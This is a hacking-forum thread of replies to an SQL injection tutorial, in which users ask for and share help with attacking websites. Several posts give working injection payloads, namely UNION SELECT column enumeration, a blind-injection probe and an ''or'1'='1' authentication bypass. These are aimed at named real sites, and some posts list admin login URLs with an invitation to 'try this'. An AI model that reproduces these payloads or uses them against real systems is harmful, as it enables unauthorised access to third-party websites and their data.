Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Detailed Basic and Full SQL Injection Tutorial

I've tried MySQLI in URLs and have only found MySQL versions 5.0 and up. Sad.
(Jun 10, 2009 09:28 AM)Spinal-Bane Wrote:  Thank you so much for the tut.

I am currently trying a site ( for practice, not malicious )
the cat id=xx ' shows me its vunr, and i went from order by 1 to order by 11, where i got an error, that means 10 is the one i want right?

but when i try Union all select 1,2,3,4--
i get confused, do i type this exactly?
or Union all select 10,--
or Union all select 1,2,3,4,5,6,7,8,9,10,--

Help is appriciated very much, and again, your tut was fantastic.

PS: when i do Union all select 10,-- i get
Database error: Invalid SQL: SELECT * FROM Categories WHERE catid = 66 Union all select 10.--
MySQL Error: 1222 (The used SELECT statements have a different number of columns)
Session halted.

id=x union all select 1,2,3,4,5,6,7,8,9,10--
http://go4veg.com/adminVegee/adminveg.asp

Try Dis

user: admin
pass :'or'1'='1
: )

http://www.iiae.in/control_panel.asp

same pass n user
:0
Hi you've lost me at "union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--"
the server i try is 2 untill it gives an error so what should i type union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- ? Can somewane help ty alot :)
Ok I get lost at this part

http://www.colorlines.com/article.php?ID=309 union select 1--

When I do that it says...

The used SELECT statements have a different number of columns

halp?
(Jun 19, 2009 04:05 PM)kokainkoala Wrote:  Ok I get lost at this part

http://www.colorlines.com/article.php?ID=309 union select 1--

When I do that it says...

The used SELECT statements have a different number of columns

halp?

Code
http://www.colorlines.com/article.php?ID=309%20and%20substring(@@version,1,1)=4
As you can see, it's blind SQL injection.
man i am lost on part 2 what the hell??
i got really confused after i got the list of tables..
i found a site..evey thing was fine but i got 4 numbers what to do?

that number was
10, 11 12 13
it s a good completed sql injection tutorial, i like it
This takes the piss, I just cannot do this SQL shit.
thanx, helpfull tutorial.
this tut has been copy and pasted.....

http://www.tinkernut.com/forum/hacks-for...ion-basics

or maybe it was the other way around ,,, nice tut anyways!
thx.....................
trizmo
yeah it's the other way around
my alias is sql doctor
i have searched over the net
lots of sites have been using my tuts lol


Possibly Related Threads...
Thread / Author Replies Views Last Post
by V1P3RJan 19, 2026 06:21 PM 1,058 69,861 Jan 19, 2026 06:21 PM
Last Post: SpiderSpicy
by -DownFallMay 19, 2025 09:38 PM 467 71,439 May 19, 2025 09:38 PM
Last Post: jabba
by gituser102May 27, 2024 11:10 AM 3 441 May 27, 2024 11:10 AM
Last Post: gituser102